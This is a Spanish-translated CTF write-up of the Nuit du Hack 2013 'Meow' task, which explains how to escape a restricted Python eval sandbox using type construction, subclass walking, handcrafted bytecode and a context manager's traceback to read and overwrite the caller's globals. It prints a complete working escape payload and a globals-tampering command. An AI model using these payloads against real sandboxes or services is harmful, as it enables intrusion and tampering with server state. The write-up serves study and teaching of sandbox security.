Escape de Sandbox con Python

Anticipándose al inicio del curso “Python Developer. Professional ” preparó una traducción, aunque no la más reciente, pero a partir de este artículo no menos interesante. ¡Feliz lectura!






Ayer tuvo lugar la ronda de clasificación de Nuit du Hack CTF 2013. Como es habitual, en algunas notas les contaré sobre tareas y / o soluciones interesantes de este CTF. Si desea saber más, mi compañero de equipo de w4kfu también debería publicar en su blog en breve.



TL; DR:



auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'d\x01\x00i\x00\x00i\x00\x00d\x02\x00d\x08\x00h\x02\x00'
'd\x03\x00\x84\x00\x00d\x04\x006d\x05\x00\x84\x00\x00d\x06\x006\x83'
'\x03\x00\x83\x00\x00\x04i\x01\x00\x02i\x02\x00\x83\x00\x00\x01z\n'
'\x00d\x07\x00\x82\x01\x00Wd\x00\x00QXd\x00\x00S',(None,'','haxx',
l('code')(1,1,1,83,'d\x00\x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'d\x00\x00\x84\x00'
'\x00d\x01\x00\x84\x00\x00\x83\x01\x00|\x01\x00d\x02\x00\x19i\x00'
'\x00i\x01\x00i\x01\x00i\x02\x00\x83\x01\x00S',(l('code')(1,1,14,83,
'|\x00\x00d\x00\x00\x83\x01\x00|\x00\x00d\x01\x00\x83\x01\x00d\x02'
'\x00d\x02\x00d\x02\x00d\x03\x00d\x04\x00d\n\x00d\x0b\x00d\x0c\x00d'
'\x06\x00d\x07\x00d\x02\x00d\x08\x00\x83\x0c\x00h\x00\x00\x83\x02'
'\x00S',('function','code',1,67,'|\x00\x00GHd\x00\x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'g\x00\x00\x04}\x01\x00d\x01\x00i\x00\x00i'
'\x01\x00d\x00\x00\x19i\x02\x00\x83\x00\x00D]!\x00}\x02\x00|\x02'
'\x00i\x03\x00|\x00\x00j\x02\x00o\x0b\x00\x01|\x01\x00|\x02\x00\x12'
'q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())




Una de las tareas, llamada "Meow" , nos ofrece un shell remoto restringido con Python, donde la mayoría de los módulos integrados están deshabilitados:



{'int': <type 'int'>, 'dir': <built-in function dir>,
'repr': <built-in function repr>, 'len': <built-in function len>,
'help': <function help at 0x2920488>}


Había varias funciones disponibles, a saber kitty(), que generan la imagen del gato en ASCII y auth(password). Supuse que necesitábamos omitir la autenticación y encontrar una contraseña. Desafortunadamente, nuestros comandos de Python se pasan en evalmodo de expresión, lo que significa que no podemos usar ningún operador: ni el operador de asignación, ni imprimir, ni las definiciones de función / clase, etc. La situación se ha vuelto más complicada. Tendremos que usar la magia de Python (habrá mucho de eso en esta publicación, lo prometo).



Al principio asumí que authsolo estaba comparando la contraseña con una cadena constante. En este caso, podría usar un objeto personalizado modificado __eq__de tal manera que siempre devuelvaTrue... Sin embargo, no puede simplemente tomar y crear tal objeto. No podemos definir nuestras propias clases a través de una clase Foo, ya que no podemos modificar un objeto ya existente (sin asignación). Aquí es donde comienza la magia de Python: podemos instanciar directamente un objeto de tipo para crear un objeto de clase y luego instanciar ese objeto de clase. Así es como se hace:



type('MyClass', (), {'__eq__': lambda self: True})


Sin embargo, no podemos usar el tipo aquí, no está definido en módulos incorporados. Podemos usar un truco diferente: cada objeto de Python tiene un atributo __class__que nos da el tipo de objeto. Por ejemplo, ‘’.__class__esto str. Pero lo que es más interesante: str.__class__es el tipo. Entonces podemos usar ''.__class__.__class__para crear un nuevo tipo.



Desafortunadamente, la función authno solo compara nuestro objeto con una cadena. Ella hace muchas otras operaciones con él: lo divide en 14 caracteres, toma la longitud len()y lo llama reducecon una extraña lambda. Sin código, es difícil averiguar cómo hacer un objeto que se comporte de la forma en que quiere la función, y no me gusta adivinar. ¡Se necesita más magia!



Agreguemos objetos de código. De hecho, las funciones en Python también son objetos que consisten en un objeto de código y una captura de sus variables globales. El objeto de código contiene el código de bytes de esta función y los objetos constantes a los que hace referencia, algunas cadenas, nombres y otros metadatos (número de argumentos, número de objetos locales, tamaño de la pila, mapeo del código de bytes al número de línea). Puede obtener el objeto de código de función con myfunc.func_code. Esto restrictedestá prohibido en el modo de intérprete de Python, por lo que no podemos ver el código de la función auth. Sin embargo, podemos crear nuestras propias funciones como creamos nuestros propios tipos.



Podría preguntar, ¿por qué usar objetos de código para crear funciones cuando ya tenemos una lambda? Es simple: las lambdas no pueden contener operadores. ¡Y las funciones generadas aleatoriamente pueden hacerlo! Por ejemplo, podemos crear una función que genere su argumento a stdout:



ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,),
                (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
# Outputs 42


Sin embargo, aquí hay un pequeño problema: para obtener el tipo de objeto de código, debe acceder al atributo func_code, que es limitado. Afortunadamente, podemos usar un poco más de magia de Python para encontrar nuestro tipo sin acceder a atributos prohibidos.



En Python, un objeto de un tipo tiene un atributo __bases__que devuelve una lista de todas sus clases base. También tiene un método __subclasses__que devuelve una lista de todos los tipos heredados de él. Si usamos __bases__un tipo aleatorio, podemos llegar a la cima de la jerarquía de tipos de objeto y luego leer las subclases de objeto para obtener una lista de todos los tipos definidos en el intérprete:



>>> len(().__class__.__bases__[0].__subclasses__())
81


Luego podemos usar esta lista para encontrar nuestros tipos functiony code:



>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'function'][0]
<type 'function'>
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'code'][0]
<type 'code'>


Ahora que podemos construir cualquier función que queramos, ¿qué podemos hacer? Podemos acceder directamente a archivos en línea ilimitados: las funciones que creamos aún se ejecutan en el restrictedentorno. Podemos obtener una función no aislada: la función authllama a un método en el __len__objeto que pasamos como parámetro. Sin embargo, esto no es suficiente para escapar de la caja de arena: nuestras variables globales siguen siendo las mismas y no podemos, por ejemplo, importar un módulo. Estaba tratando de ver todas las clases a las que podíamos acceder con__subclasses__para ver si podemos obtener un enlace a un módulo útil a través de él, sin éxito. Incluso recibir una llamada a una de nuestras funciones creadas a través del reactor no fue suficiente. Podríamos intentar obtener un objeto de rastreo y usarlo para ver los marcos de pila de las funciones de llamada, pero la única forma fácil de obtener un objeto de rastreo es a través de módulos inspecto sysque no podamos importar. Después de tropezar con este problema, cambié a otros, dormí mucho y me desperté con la solución correcta.



De hecho, hay otra manera de conseguir un objeto de rastreo de la biblioteca estándar de Python sin usar: context manager. Fueron una nueva característica en Python 2.6 que permite una especie de alcance orientado a objetos en Python:



class CtxMan:
    def __enter__(self):
        print 'Enter'
    def __exit__(self, exc_type, exc_val, exc_tb):
        print 'Exit:', exc_type, exc_val, exc_tb

with CtxMan():
    print 'Inside'
    error

# Output:
# Enter
# Inside
# Exit: <type 'exceptions.NameError'> name 'error' is not defined
        <traceback object at 0x7f1a46ac66c8>


Podemos crear un objeto context managerque utilizará el objeto de rastreo pasado __exit__para mostrar las variables globales a la función de llamada que está fuera de la zona de pruebas. Para hacer esto, usamos combinaciones de todos nuestros trucos anteriores. Creamos un tipo anónimo que define __enter__tanto una lambda simple como __exit__una lambda que se refiere a lo que queremos en el rastreo y lo pasa a nuestra lambda de salida (recuerde que no podemos usar operadores):



''.__class__.__class__('haxx', (),
  {'__enter__': lambda self: None,
   '__exit__': lambda self, *a:
     (lambda l: l('function')(l('code')(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S',
                                        (None,), (), ('s',), 'stdin', 'f',
                                        1, ''), {})
     )(lambda n: [x for x in ().__class__.__bases__[0].__subclasses__()
                    if x.__name__ == n][0])
     (a[2].tb_frame.f_back.f_back.f_globals)})()


¡Necesitamos profundizar más! Ahora necesitamos usar este context manager(al que llamaremos ctxen los siguientes fragmentos de código) en una función que generará un error a propósito en un bloque with:



def f(self):
    with ctx:
        raise 42


Luego ponemos fcomo __len__nuestro objeto creado, que pasamos a la función auth:



auth(''.__class__.__class__('haxx2', (), {
  '__getitem__': lambda *a: '',
  '__len__': f
})())


Volvamos al principio del artículo y recordemos el código incrustado "real". Cuando se ejecuta en el servidor, esto provoca que el intérprete de Python ejecute nuestra función f, pase por la creada context manager __exit__, la cual accederá a las variables globales de nuestro método de llamada, donde hay dos valores interesantes:



'FLAG2': 'ICanHazUrFl4g', 'FLAG1': 'Int3rnEt1sm4de0fc47'


¿Dos banderas? Resulta que se utilizó el mismo servicio para dos tareas consecutivas. ¡Doble matanza!



Para divertirnos un poco más accediendo a las variables globales, podemos hacer más que solo leer: ¡podemos cambiar las banderas! El uso de las f_globals.update({ 'FLAG1': 'lol', 'FLAG2': 'nope' })banderas cambiará hasta el próximo reinicio del servidor. Al parecer, los organizadores no planearon esto.



En cualquier caso, todavía no sé cómo se suponía que íbamos a resolver este problema de manera normal, pero creo que una solución tan universal es una buena manera de presentar a los lectores la magia negra de Python. Úselo con cuidado, es fácil forzar a Python a hacer la segmentación con los objetos de código generados (el uso del intérprete de Python y la ejecución del shellcode x86 a través del bytecode generado queda en manos del lector). Gracias a los organizadores de Nuit du Hack por una hermosa tarea.







Lee mas






All Articles